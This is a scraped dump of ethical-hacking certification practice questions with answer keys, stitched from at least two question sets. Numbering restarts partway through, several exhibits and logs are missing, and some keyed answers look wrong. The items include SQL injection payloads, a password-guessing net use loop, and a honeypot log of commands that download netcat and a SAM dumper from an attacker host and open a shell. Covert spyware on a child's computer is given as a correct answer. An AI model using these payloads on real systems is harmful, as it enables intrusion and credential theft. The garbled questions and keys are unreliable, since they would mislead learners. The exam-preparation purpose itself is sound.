There is no way to get the changed webpage unless you contact someone at the company
C
Usenet
D
Javascript would not be in their html so a service like usenet or archive wouldn't help you
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: Archive.org is a website that periodically archives internet content. They have archives of websites over many years. It could be used to go back and look at the javascript as javascript would be in the HTML code.
Question 56
Single choice
Vulnerability scanners are automated tools that are used to identify vulnerabilities and misconfigurations of hosts. They also provide information regarding mitigating discovered vulnerabilities.
Which of the following statements is incorrect?
A
Vulnerability scanners attempt to identify vulnerabilities in the hosts scanned.
B
Vulnerability scanners can help identify out-of-date software versions, missing patches, or system upgrades
C
They can validate compliance with or deviations from the organization's security policy
D
Vulnerability scanners can identify weakness and automatically fix and patch the vulnerabilities without user intervention
Reveal answer detailsClose answer details
Correct answerD
Question 57
Single choice
MX record priority increases as the number increases.(True/False.
A
True
B
False
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: The highest priority MX record has the lowest number.
Question 58
Single choice
Jason is the network administrator of Spears Technology. He has enabled SNORT IDS to detect attacks going through his network. He receives Snort SMS alerts on his iPhone whenever there is an attempted intrusion to his network.
He receives the following SMS message during the weekend.
An attacker Chew Siew sitting in Beijing, China had just launched a remote scan on Jason's network with the hping command.
Which of the following hping2 command is responsible for the above snort alert?
Given the following extract from the snort log on a honeypot, what service is being exploited? :
A
FTP
B
SSH
C
Telnet
D
SMTP
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: The connection is done to 172.16.1.104:21.
Question 60
Single choice
What does ICMP (type 11, code 0) denote?
A
Unknown Type
B
Time Exceeded
C
Source Quench
D
Destination Unreachable
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: An ICMP Type 11, Code 0 means Time Exceeded [RFC792], Code 0 = Time to Live exceeded in Transit and Code 1 = Fragment Reassembly Time Exceeded.
Question 61
Single choice
Bob has a good understanding of cryptography, having worked with it for many years. Cryptography is used to secure data from specific threats but it does not secure the data from the specific threats but it does no secure the application from coding errors. It can provide data privacy; integrity and enable strong authentication but it can't mitigate programming errors.
What is a good example of a programming error that Bob can use to explain to the management how encryption will not address all their security concerns?
A
Bob can explain that using a weak key management technique is a form of programming error
B
Bob can explain that using passwords to derive cryptographic keys is a form of a programming error
C
Bob can explain that a buffer overflow is an example of programming error and it is a common mistake associated with poor programming technique
D
Bob can explain that a random number generation can be used to derive cryptographic keys but it uses a weak seed value and this is a form of a programming error
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: In computer security and programming, a buffer overflow, or buffer overrun, is a programming error which may result in a memory access exception and program termination, or in the event of the user being malicious, a possible breach of system security.
Question 62
Single choice
Giles is the network administrator for his company, a graphics design company based in Dallas. Most of the network is comprised of Windows servers and workstations, except for some designers that prefer to use MACs. These MAC users are running on the MAC OS X operating system. These MAC users also utilize iChat to talk between each other. Tommy, one of these MAC users, calls Giles and says that his computer is running very slow. Giles then gets more calls from the other MAC users saying they are receiving instant messages from Tommy even when he says he is not on his computer. Giles immediately unplugs Tommy's computer from the network to take a closer look. He opens iChat on Tommy's computer and it says that it sent a file called latestpics.tgz to all the other MAC users. Tommy says he never sent those files. Giles also sees that many of the computer's applications appear to be altered. The path where the files should be has an altered file and the original application is stored in the file's resource fork.
What has Giles discovered on Tommy's computer?
A
He has discovered OSX/Chat-burner virus on Tommy's computer
B
Giles has found the OSX/Leap-A virus on Tommy's computer
C
This behavior is indicative of the OSX/Inqtana.A virus
D
On Tommy's computer, Giles has discovered an apparent infection of the OSX/Transmitter.B virus
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation:
OSX.Leap.A is a worm that targets installs of Macintosh OS X and spreads via iChat Instant Messenger program. http://www.symantec.com/security_response/writeup.jsp?docid=2006-021614-4006-99
Question 63
Single choice
Symmetric encryption algorithms are known to be fast but present great challenges on the key management side. Asymmetric encryption algorithms are slow but allow communication with a remote host without having to transfer a key out of band or in person. If we combine the strength of both crypto systems where we use the symmetric algorithm to encrypt the bulk of the data and then use the asymmetric encryption system to encrypt the symmetric key, what would this type of usage be known as?
A
Symmetric system
B
Combined system
C
Hybrid system
D
Asymmetric system
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: Because of the complexity of the underlying problems, most public-key algorithms involve operations such as modular multiplication and exponentiation, which are much more computationally expensive than the techniques used in most block ciphers, especially with typical key sizes. As a result, public-key cryptosystems are commonly "hybrid" systems, in which a fast symmetric-key encryption algorithm is used for the message itself, while the relevant symmetric key is sent with the message, but encrypted using a public-key algorithm. Similarly, hybrid signature schemes are often used, in which a cryptographic hash function is computed, and only the resulting hash is digitally signed.
Question 64
Single choice
Bill has successfully executed a buffer overflow against a Windows IIS web server. He has been able to spawn an interactive shell and plans to deface the main web page. He first attempts to use the "Echo" command to simply overwrite index.html and remains unsuccessful. He then attempts to delete the page and achieves no progress. Finally, he tries to overwrite it with another page again in vain.
What is the probable cause of Bill's problem?
A
The system is a honeypot.
B
There is a problem with the shell and he needs to run the attack again.
C
You cannot use a buffer overflow to deface a web page.
D
The HTML file has permissions of ready only.
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: The question states that Bill had been able to spawn an interactive shell. By this statement we can tell that the buffer overflow and its corresponding code was enough to spawn a shell. Any shell should make it possible to change the webpage. So we either don't have sufficient privilege to change the webpage (answer D) or it's a honeypot (answer A). We think the preferred answer is D
Question 65
Multiple choice
What are the two basic types of attacks?(Choose two.
A
DoS
B
Passive
C
Sniffing
D
Active
E
Cracking
Reveal answer detailsClose answer details
Correct answersB, D
Explanation
Explanation: Passive and active attacks are the two basic types of attacks.
Question 66
Multiple choice
Which of the following statement correctly defines ICMP Flood Attack? (Select 2 answers)
A
Bogus ECHO reply packets are flooded on the network spoofing the IP and MAC address
B
The ICMP packets signal the victim system to reply and the combination of traffic saturates the bandwidth of the victim's network
C
ECHO packets are flooded on the network saturating the bandwidth of the subnet causing denial of service
D
A DDoS ICMP flood attack occurs when the zombies send large volumes of ICMP_ECHO_REPLY packets to the victim system.
Reveal answer detailsClose answer details
Correct answersB, D
Question 67
Single choice
Which of the following Trojans would be considered 'Botnet Command Control Center'?
A
YouKill DOOM
B
Damen Rock
C
Poison Ivy
D
Matten Kit
Reveal answer detailsClose answer details
Correct answerC
Question 68
Single choice
What type of cookies can be generated while visiting different web sites on the Internet?
A
Permanent and long term cookies.
B
Session and permanent cookies.
C
Session and external cookies.
D
Cookies are all the same, there is no such thing as different type of cookies.
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: There are two types of cookies: a permanent cookie that remains on a visitor's computer for a given time and a session cookie the is temporarily saved in the visitor's computer memory during the time that the visitor is using the Web site. Session cookies disappear when you close your Web browser.
Question 69
Single choice
Choose one of the following pseudo codes to describe this statement:
If we have written 200 characters to the buffer variable, the stack should stop because it cannot hold any more data.
A
If (I > 200) then exit (1)
B
If (I < 200) then exit (1)
C
If (I <= 200) then exit (1)
D
If (I >= 200) then exit (1)
Reveal answer detailsClose answer details
Correct answerD
Question 70
Single choice
Which of the following display filters will you enable in Ethereal to view the three-way handshake for a connection from host 192.168.0.1?
A
ip == 192.168.0.1 and tcp.syn
B
ip.addr = 192.168.0.1 and syn = 1
C
ip.addr==192.168.0.1 and tcp.flags.syn
D
ip.equals 192.168.0.1 and syn.equals on
Reveal answer detailsClose answer details
Correct answerC
Question 71
Single choice
After studying the following log entries, what is the attacker ultimately trying to achieve as inferred from the log sequence?
Change the files Modification Access Creation times
D
Download rootkits and passwords into a new directory
Reveal answer detailsClose answer details
Correct answerC
Question 72
Multiple choice
What makes web application vulnerabilities so aggravating? (Choose two)
A
They can be launched through an authorized port.
B
A firewall will not stop them.
C
They exist only on the Linux platform.
D
They are detectable by most leading antivirus software.
Reveal answer detailsClose answer details
Correct answersA, B
Explanation
Explanation: As the vulnerabilities exists on a web server, incoming traffic on port 80 will probably be allowed and no firewall rules will stop the attack.
Question 73
Single choice
You have been using the msadc.pl attack script to execute arbitrary commands on an NT4 web server. While it is effective, you find it tedious to perform extended functions. On further research you come across a perl script that runs the following msadc functions:
What kind of exploit is indicated by this script?
A
A buffer overflow exploit.
B
A SUID exploit.
C
A SQL injection exploit.
D
A chained exploit.
E
A buffer under run exploit.
Reveal answer detailsClose answer details
Correct answerD
Question 74
Single choice
Bill has started to notice some slowness on his network when trying to update his company's website while trying to access the website from the Internet. Bill asks the help desk manager if he has received any calls about slowness from the end users, but the help desk manager says that he has not. Bill receives a number of calls from customers that can't access the company website and can't purchase anything online. Bill logs on to a couple of this routers and notices that the logs shows network traffic is at all time high. He also notices that almost all the traffic is originating from a specific address.
Bill decides to use Geotrace to find out where the suspect IP is originates from. The Geotrace utility runs a traceroute and finds that IP is coming from Panama. Bill knows that none of his customers are in Panama so he immediately thinks that his company is under a Denial of Service attack. Now Bill needs to find out more about the originating IP Address.
What Internet registry should Bill look in to find the IP Address?
A
LACNIC
B
ARIN
C
RIPELACNIC
D
APNIC
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: LACNIC is the Latin American and Caribbean Internet Addresses Registry that administers IP addresses, autonomous system numbers, reverse DNS, and other network resources for that region.
Question 75
Multiple choice
Which of the following tools are used for enumeration? (Choose three.)
A
SolarWinds
B
USER2SID
C
Cheops
D
SID2USER
E
DumpSec
Reveal answer detailsClose answer details
Correct answersB, D, E
Explanation
Explanation: USER2SID, SID2USER, and DumpSec are three of the tools used for system enumeration. Others are tools such as NAT and Enum. Knowing which tools are used in each step of the hacking methodology is an important goal of the CEH exam. You should spend a portion of your time preparing for the test practicing with the tools and learning to understand their output.
Question 76
Single choice
Bryan notices the error on the web page and asks Liza to enter liza' or '1'='1 in the email field. They are greeted with a message "Your login information has been mailed to [email protected]".
What do you think has occurred?
A
The web application picked up a record at random
B
The web application returned the first record it found
C
The server error has caused the application to malfunction
D
The web application emailed the administrator about the error
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: The web application sends a query to an SQL database and by giving it the criteria 1=1, which always will be true, it will return the first value it finds.
Question 77
Single choice
All the web servers in the DMZ respond to ACK scan on port 80.
Why is this happening ?
A
They are all Windows based webserver
B
They are all Unix based webserver
C
The company is not using IDS
D
The company is not using a stateful firewall
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: If they used a stateful inspection firewall this firewall would know if there has been a SYN-ACK before the ACK.
Question 78
Single choice
Which of the following is one of the key features found in a worm but not seen in a virus?
A
The payload is very small, usually below 800 bytes.
B
It is self replicating without need for user intervention.
C
It does not have the ability to propagate on its own.
D
All of them cannot be detected by virus scanners.
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: A worm is similar to a virus by its design, and is considered to be a sub-class of a virus. Worms spread from computer to computer, but unlike a virus, it has the capability to travel without any help from a person. A worm takes advantage of file or information transport features on your system, which allows it to travel unaided.
Question 79
Single choice
The following excerpt is taken from a honeyput log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful. Study the log given below and answer the following question:
(Note: The objective of this questions is to test whether the student has learnt about passive OS fingerprinting (which should tell them the OS from log captures): can they tell a SQL injection attack signature; can they infer if a user ID has been created by an attacker and whether they can read plain source destination entries from log entries.)
What can you infer from the above log?
A
The system is a windows system which is being scanned unsuccessfully.
B
The system is a web application server compromised through SQL injection.
C
The system has been compromised and backdoored by the attacker.
D
The actual IP of the successful attacker is 24.9.255.53.
Reveal answer detailsClose answer details
Correct answerA
Question 80
Single choice
What would best be defined as a security test on services against a known vulnerability database using an automated tool?
A
A penetration test
B
A privacy review
C
A server audit
D
A vulnerability assessment
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Vulnerability assessment is the process of identifying and quantifying vulnerabilities in a system. The system being studied could be a physical facility like a nuclear power plant, a computer system, or a larger system (for example the communications infrastructure or water infrastructure of a region).
Question 81
Single choice
Steven is a senior security analyst for a state agency in Tulsa, Oklahoma. His agency is currently undergoing a mandated security audit by an outside consulting firm. The consulting firm is halfway through the audit and is preparing to perform the actual penetration testing against the agency's network. The firm first sets up a sniffer on the agency's wired network to capture a reasonable amount of traffic to analyze later. This takes approximately 2 hours to obtain 10 GB of data. The consulting firm then sets up a sniffer on the agency's wireless network to capture the same amount of traffic. This capture only takes about 30 minutes to get 10 GB of data.
Why did capturing of traffic take much less time on the wireless network?
A
Because wireless access points act like hubs on a network
B
Because all traffic is clear text, even when encrypted
C
Because wireless traffic uses only UDP which is easier to sniff
D
Because wireless networks can't enable encryption
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: You can not have directed radio transfers over a WLAN. Every packet will be broadcasted as far as possible with no concerns about who might hear it.
Question 82
Single choice
A POP3 client contacts the POP3 server:
A
To send mail
B
To receive mail
C
to send and receive mail
D
to get the address to send mail to
E
initiate a UDP SMTP connection to read mail
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: POP is used to receive e-mail.SMTP is used to send e-mail.
Question 83
Single choice
Paul has just finished setting up his wireless network. He has enabled numerous security features such as changing the default SSID, enabling WPA encryption and enabling MAC filtering on hi wireless router. Paul notices when he uses his wireless connection, the speed is sometimes 54 Mbps and sometimes it is only 24mbps or less. Paul connects to his wireless router's management utility and notices that a machine with an unfamiliar name is connected through his wireless connection. Paul checks the router's logs and notices that the unfamiliar machine has the same MAC address as his laptop.
What is Paul seeing here?
A
MAC Spoofing
B
Macof
C
ARP Spoofing
D
DNS Spoofing
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: You can fool MAC filtering by spoofing your MAC address and pretending to have some other computers MAC address. Topic 16, Virus and Worms
Topic 16, Virus and Worms
Question 84
Single choice
Bob wants to prevent attackers from sniffing his passwords on the wired network.
Which of the following lists the best options?
A
RSA, LSA, POP
B
SSID, WEP, Kerberos
C
SMB, SMTP, Smart card
D
Kerberos, Smart card, Stanford SRP
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: Kerberos, Smart cards and Stanford SRP are techniques where the password never leaves the computer.
Question 85
Single choice
Gerald is a Certified Ethical Hacker working for a large financial institution in Oklahoma City. Gerald is currently performing an annual security audit of the company's network. One of the company's primary concerns is how the corporate data is transferred back and forth from the banks all over the city to the data warehouse at the company's home office. To see what type of traffic is being passed back and forth and to see how secure that data really is, Gerald uses a session hijacking tool to intercept traffic between a server and a client. Gerald hijacks an HTML session between a client running a web application which connects to a SQL database at the home office. Gerald does not kill the client's session; he simply monitors the traffic that passes between it and the server.
What type of session attack is Gerald employing here?
A
He is utilizing a passive network level hijack to see the session traffic used to communicate between the two devices
B
Gerald is using a passive application level hijack to monitor the client and server traffic
C
This type of attack would be considered an active application attack since he is actively monitoring the traffic
D
This type of hijacking attack is called an active network attack
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation:
Session Hijacking is an active attack
Question 86
Single choice
What type of session hijacking attack is shown in the exhibit?
A
Cross-site scripting Attack
B
SQL Injection Attack
C
Token sniffing Attack
D
Session Fixation Attack
Reveal answer detailsClose answer details
Correct answerD
Question 87
Single choice
Which of the following is a patch management utility that scans one or more computers on your network and alerts you if you important Microsoft Security patches are missing. It then provides links that enable those missing patches to be downloaded and installed.
A
MBSA
B
BSSA
C
ASNB
D
PMUS
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: The Microsoft Baseline Security Analyzer (MBSA) is a tool put out by Microsoft to help analyze security problems in Microsoft Windows. It does this by scanning the system for security problems in Windows, Windows components such as the IIS web server application, Microsoft SQL Server, and Microsoft Office. One example of an issue might be that permissions for one of the directories in the wwwroot folder of IIS could be set at too low a level, allowing unwanted modification of files from outsiders.
Question 88
Single choice
Fake Anti-Virus, is one of the most frequently encountered and persistent threats on the web. This malware uses social engineering to lure users into infected websites with a technique called Search Engine Optimization.
Once the Fake AV is downloaded into the user's computer, the software will scare them into believing their system is infected with threats that do not really exist, and then push users to purchase services to clean up the non-existent threats.
The Fake AntiVirus will continue to send these annoying and intrusive alerts until a payment is made.
What is the risk of installing Fake AntiVirus?
A
Victim's Operating System versions, services running and applications installed will be published on Blogs and Forums
B
Victim's personally identifiable information such as billing address and credit card details, may be extracted and exploited by the attacker
C
Once infected, the computer will be unable to boot and the Trojan will attempt to format the hard disk
D
Denial of Service attack will be launched against the infected computer crashing other machines on the connected network
Reveal answer detailsClose answer details
Correct answerB
Question 89
Single choice
Angela is trying to access an education website that requires a username and password to login. When Angela clicks on the link to access the login page, she gets an error message stating that the page can't be reached. She contacts the website's support team and they report that no one else is having any issues with the site. After handing the issue over to her company's IT department, it is found that the education website requires any computer accessing the site must be able to respond to a ping from the education's server. Since Angela's computer is behind a corporate firewall, her computer can't ping the education website back.
What ca Angela's IT department do to get access to the education website?
A
Change the IP on Angela's Computer to an address outside the firewall
B
Change the settings on the firewall to allow all incoming traffic on port 80
C
Change the settings on the firewall all outbound traffic on port 80
D
Use a Internet browser other than the one that Angela is currently using
Reveal answer detailsClose answer details
Correct answerA
Explanation
Explanation: Allowing traffic to and from port 80 will not help as this will be UDP or TCP traffic and ping uses ICMP. The browser used by the user will not make any difference. The only alternative here that would solve the problem is to move the computer to outside the firewall.
Question 90
Single choice
Bob is going to perform an active session hijack against company. He has acquired the target that allows session oriented connections (Telnet) and performs sequence prediction on the target operating system. He manages to find an active session due to the high level of traffic on the network.
So, what is Bob most likely to do next?
A
Take over the session.
B
Reverse sequence prediction.
C
Guess the sequence numbers.
D
Take one of the parties' offline.
Reveal answer detailsClose answer details
Correct answerC
Question 91
Single choice
Nathan is testing some of his network devices. Nathan is using Macof to try and flood the ARP cache of these switches. If these switches' ARP cache is successfully flooded, what will be the result?
A
The switches will drop into hub mode if the ARP cache is successfully flooded.
B
If the ARP cache is flooded, the switches will drop into pix mode making it less susceptible to attacks.
C
Depending on the switch manufacturer, the device will either delete every entry in its ARP cache or reroute packets to the nearest switch.
D
The switches will route all traffic to the broadcast address created collisions.
Reveal answer detailsClose answer details
Correct answerA
Question 92
Single choice
On a default installation of Microsoft IIS web server, under which privilege does the web server software execute?
A
Everyone
B
Guest
C
System
D
Administrator
Reveal answer detailsClose answer details
Correct answerC
Explanation
Explanation: If not changed during the installation, IIS will execute as Local System with way to high privileges.
Question 93
Single choice
What did the following commands determine? C : user2sid \earth guest S-1-5-21-343818398-789336058-1343024091-501
C:sid2user 5 21 343818398 789336058 1343024091 500 Name is Joe Domain is EARTH
A
That the Joe account has a SID of 500
B
These commands demonstrate that the guest account has NOT been disabled
C
These commands demonstrate that the guest account has been disabled
D
That the true administrator is Joe
E
Issued alone, these commands prove nothing
Reveal answer detailsClose answer details
Correct answerD
Explanation
Explanation: One important goal of enumeration is to determine who the true administrator is. In the example above, the true administrator is Joe.
Question 94
Single choice
What is the BEST alternative if you discover that a rootkit has been installed on one of your computers?
A
Copy the system files from a known good system
B
Perform a trap and trace
C
Delete the files and try to determine the source
D
Reload from a previous backup
E
Reload from known good media
Reveal answer detailsClose answer details
Correct answerE
Explanation
Explanation: If a rootkit is discovered, you will need to reload from known good media. This typically means performing a complete reinstall.
The following exploit code is extracted from what kind of attack?
A
Remote password cracking attack
B
SQL Injection
C
Distributed Denial of Service
D
Cross Site Scripting
E
Buffer Overflow
Reveal answer detailsClose answer details
Correct answerE
Explanation
Explanation: This is a buffer overflow with it's payload in hex format.
Question 96
Single choice
Bart is looking for a Windows NT/2000/XP command-line tool that can be used to assign, display, or modify ACL's (access control lists) to files or folders and also one that can be used within batch files.
Which of the following tools can be used for that purpose? (Choose the best answer)
A
PERM.exe
B
CACLS.exe
C
CLACS.exe
D
NTPERM.exe
Reveal answer detailsClose answer details
Correct answerB
Explanation
Explanation: Cacls.exe is a Windows NT/2000/XP command-line tool you can use to assign, display, or modify ACLs (access control lists) to files or folders. Cacls is an interactive tool, and since it's a command-line utility, you can also use it in batch files.
Question 97
Drag & drop
DRAG DROP
Drag the term to match with it's description.
Reveal answer detailsClose answer details
Explanation
Topic 6, Trojans and Backdoors
Question 98
Fill in the blank
The following script shows a simple SQL injection. The script builds an SQL query by concatenating hard-coded strings together with a string entered by the user:
The user is prompted to enter the name of a city on a Web form. If she enters Chicago, the query assembled by the script looks similar to the following:
SELECT * FROM OrdersTable WHERE ShipCity = 'Chicago'
How will you delete the OrdersTable from the database using SQL Injection?
A. Chicago'; drop table OrdersTable -- B. Delete table'blah'; OrdersTable -- C. EXEC; SELECT * OrdersTable > DROP -- D. cmdshell'; 'del c:\sql\mydb\OrdersTable' //
Reveal answer detailsClose answer details
Accepted answerA
Question 99
Single choice
An attacker finds a web page for a target organization that supplies contact information for the company. Using available details to make the message seem authentic, the attacker drafts e-mail to an employee on the contact page that appears to come from an individual who might reasonably request confidential information, such as a network administrator.
The email asks the employee to log into a bogus page that requests the employee's user name and password or click on a link that will download spyware or other malicious programming.
Google's Gmail was hacked using this technique and attackers stole source code and sensitive data from Google servers. This is highly sophisticated attack using zero-day exploit vectors, social engineering and malware websites that focused on targeted individuals working for the company.
What is this deadly attack called?
A
Spear phishing attack
B
Trojan server attack
C
Javelin attack
D
Social networking attack
Reveal answer detailsClose answer details
Correct answerA
Question 100
Single choice
Every company needs a formal written document which spells out to employees precisely what they are allowed to use the company's systems for, what is prohibited, and what will happen to them if they break the rules. Two printed copies of the policy should be given to every employee as soon as possible after they join the organization. The employee should be asked to sign one copy, which should be safely filed by the company. No one should be allowed to use the company's computer systems until they have signed the policy in acceptance of its terms.
Theresa is the chief information security officer for her company, a large shipping company based out of New York City. In the past, Theresa and her IT employees manually checked the status of client computers on the network to see if they had the most recent Microsoft updates. Now that the company has added over 100 more clients to accommodate new departments, Theresa must find some kind of tool to see whether the clients are up-to-date or not. Theresa decides to use Qfecheck to monitor all client computers. When Theresa runs the tool, she is repeatedly told that the software does not have the proper permissions to scan. Theresa is worried that the operating system hardening that she performs on all clients is keeping the software from scanning the necessary registry keys on the client computers.
What registry key permission should Theresa check to ensure that Qfecheck runs properly?
A.
In order for Qfecheck to run properly, it must have enough permission to read
B.
She needs to check the permissions of the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates registry key
C.
Theresa needs to look over the permissions of the registry key
D.
The registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Microsoft must be checked
Correct Answer: B
Explanation
Explanation/Reference:
Explanation:
Qfecheck check the registry HKLM\Software\Microsoft\Updates
QUESTION 2
SSL has been seen as the solution to several common security problems. Administrators will often make use of SSL to encrypt communication from point A to point B.
Why do you think this could be a bad idea if there is an Intrusion Detection System deployed to monitor the traffic between point A and B?
A.
SSL is redundant if you already have IDS in place.
B.
SSL will trigger rules at regular interval and force the administrator to turn them off.
C.
SSL will slow down the IDS while it is breaking the encryption to see the packet content.
D.
SSL will mask the content of the packet and Intrusion Detection System will be blinded.
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: Because the traffic is encrypted, an IDS cannot understand it or evaluate the payload.
QUESTION 3
Blake is in charge of securing all 20 of his company's servers. He has enabled hardware and software firewalls, hardened the operating systems and disabled all unnecessary service on all the servers. Unfortunately, there is proprietary AS400 emulation software that must run on one of the servers that requires the telnet service to function properly. Blake is especially concerned about his since telnet can be a very large security risk in an organization. Blake is concerned about how his particular server might look to an outside attacker so he decides to perform some footprinting scanning and penetration tests on the server. Blake telents into the server and types the following command:
HEAD/HTTP/1.0 After pressing enter twice, Blake gets the following results:
What has the Blake just accomplished?
A.
Grabbed the banner
B.
Downloaded a file to his local computer
C.
Submitted a remote command to crash the server
D.
Poisoned the local DNS cache of the server
Correct Answer: A
QUESTION 4
When referring to the Domain Name Service, what is denoted by a `zone'?
A.
It is the first domain that belongs to a company.
B.
It is a collection of resource records.
C.
It is the first resource record type in the SOA.
D.
It is a collection of domains.
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: A reasonable definition of a zone would be a portion of the DNS namespace where responsibility has been delegated.
QUESTION 5
Study the log below and identify the scan type.
tcpdump w host 192.168.1.10
A.
nmap R 192.168.1.10
B.
nmap S 192.168.1.10
C.
nmap V 192.168.1.10
D.
nmap sO T 192.168.1.10
Correct Answer: D
Explanation
Explanation/Reference:
Explanation: -sO: IP protocol scans: This method is used to determine which IP protocols are supported on a host. The technique is to send raw IP packets without any further protocol header to each specified protocol on the target machine.
QUESTION 6
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The file Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below:
"cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00 >>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom" "cmd1.exe /c ftp s:ftpcom" "cmd1.exe /c nc l p 6969 e-cmd1.
exe" What can you infer from the exploit given?
A.
It is a local exploit where the attacker logs in using username johna2k.
B.
There are two attackers on the system johna2k and haxedj00.
C.
The attack is a remote exploit and the hacker downloads three files.
D.
The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port.
Correct Answer: C
QUESTION 7
What is the algorithm used by LM for Windows2000 SAM ?
A.
MD4
B.
DES
C.
SHA
D.
SSL
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: Okay, this is a tricky question. We say B, DES, but it could be A "MD4" depending on what their asking - Windows 2000/XP keeps users passwords not "apparently", but as hashes, i.e. actually as "check sum" of the passwords. Let's go into the passwords keeping at large. The most interesting structure of the complex SAM-file building is so called V-block. It's size is 32 bytes and it includes hashes of the password for the local entering: NT Hash of 16-byte length, and hash used during the authentication of access to the common resources of other computers LanMan Hash, or simply LM Hash, of the same 16-byte length. Algorithms of the formation of these hashes are following: NT Hash formation: LM Hash formation:
QUESTION 8
Harold just got home from working at Henderson LLC where he works as an IT technician. He was able to get off early because they were not too busy. When he walks into his home office, he notices his teenage daughter on the computer, apparently chatting with someone online. As soon as she hears Harold enter the room, she closes all her windows and tries to act like she was playing a game. When Harold asks her what she was doing, she acts very nervous and does not give him a straight answer. Harold is very concerned because he does not want his daughter to fall victim to online predators and the sort. Harold doesn't necessarily want to install any programs that will restrict the sites his daughter goes to, because he doesn't want to alert her to his trying to figure out what she is doing. Harold wants to use some kind of program that will track her activities online, and send Harold an email of her activity once a day so he can see what she has been up to.
What kind of software could Harold use to accomplish this?
A.
Install hardware Keylogger on her computer
B.
Install screen capturing Spyware on her computer
C.
Enable Remote Desktop on her computer
D.
Install VNC on her computer
Correct Answer: B
QUESTION 9
Eve is spending her day scanning the library computers. She notices that Alice is using a computer whose port 445 is active and listening. Eve uses the ENUM tool to enumerate Alice machine. From the command prompt, she types the following command.
For /f "tokens=1 %%a in (hackfile.txt) do net use * \\10.1.2.3\c$ /user:"Administrator" %%a
What is Eve trying to do?
A.
Eve is trying to connect as an user with Administrator privileges
B.
Eve is trying to enumerate all users with Administrative privileges
C.
Eve is trying to carry out a password crack for user Administrator
D.
Eve is trying to escalate privilege of the null user to that of Administrator
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: Eve tries to get a successful login using the username Administrator and passwords from the file hackfile.txt.
QUESTION 10
Ethereal works best on ____________.
A.
Switched networks
B.
Linux platforms
C.
Networks using hubs
D.
Windows platforms
E.
LAN's
Correct Answer: C
Explanation
Explanation/Reference:
Explanation: Ethereal is used for sniffing traffic. It will return the best results when used on an unswitched (i.e. hub. network.
QUESTION 11
TCP SYN Flood attack uses the three-way handshake mechanism.
1. An attacker at system A sends a SYN packet to victim at system B. 2. System B sends a SYN/ACK packet to victim A. 3. As a normal three-way handshake mechanism system A should send an ACK packet to system B, however, system A does not send an ACK packet to system B. In this case client B is waiting for an ACK packet from client A.
This status of client B is called _________________
A.
"half-closed"
B.
"half open"
C.
"full-open"
D.
"xmas-open"
Correct Answer: B
QUESTION 12
As a securing consultant, what are some of the things you would recommend to a company to ensure DNS security? Select the best answers.
A.
Use the same machines for DNS and other applications
B.
Harden DNS servers
C.
Use split-horizon operation for DNS servers
D.
Restrict Zone transfers
E.
Have subnet diversity between DNS servers
Correct Answer: BCDE
Explanation
Explanation/Reference:
Explanation:
A is not a correct answer as it is never recommended to use a DNS server for any other application. Hardening of the DNS servers makes them less vulnerable to attack. It is recommended to split internal and external DNS servers (called split-horizon operation). Zone transfers should only be accepted from authorized DNS servers. By having DNS servers on different subnets, you may prevent both from going down, even if one of your networks goes down.
QUESTION 13
A user on your Windows 2000 network has discovered that he can use L0phtcrack to sniff the SMB exchanges which carry user logons. The user is plugged into a hub with 23 other systems. However, he is unable to capture any logons though he knows that other users are logging in.
What do you think is the most likely reason behind this?
A.
There is a NIDS present on that segment.
B.
Kerberos is preventing it.
C.
Windows logons cannot be sniffed.
D.
L0phtcrack only sniffs logons to web servers.
Correct Answer: B
Explanation
Explanation/Reference:
Explanation: In a Windows 2000 network using Kerberos you normally use pre-authentication and the user password never leaves the local machine so it is never exposed to the network so it should not be able to be sniffed.
QUESTION 14
This method is used to determine the Operating system and version running on a remote target system.
What is it called?
A.
Service Degradation
B.
OS Fingerprinting
C.
Manual Target System
D.
Identification Scanning
Correct Answer: B
QUESTION 15
Bob is acknowledged as a hacker of repute and is popular among visitors of "underground" sites. Bob is willing to share his knowledge with those who are willing to learn, and many have expressed their interest in learning from him. However, this knowledge has a risk associated with it, as it can be used for malevolent attacks as well.
In this context, what would be the most affective method to bridge the knowledge gap between the "black" hats or crackers and the "white" hats or computer security professionals? (Choose the test answer)
A.
Educate everyone with books, articles and training on risk analysis, vulnerabilities and safeguards.
B.
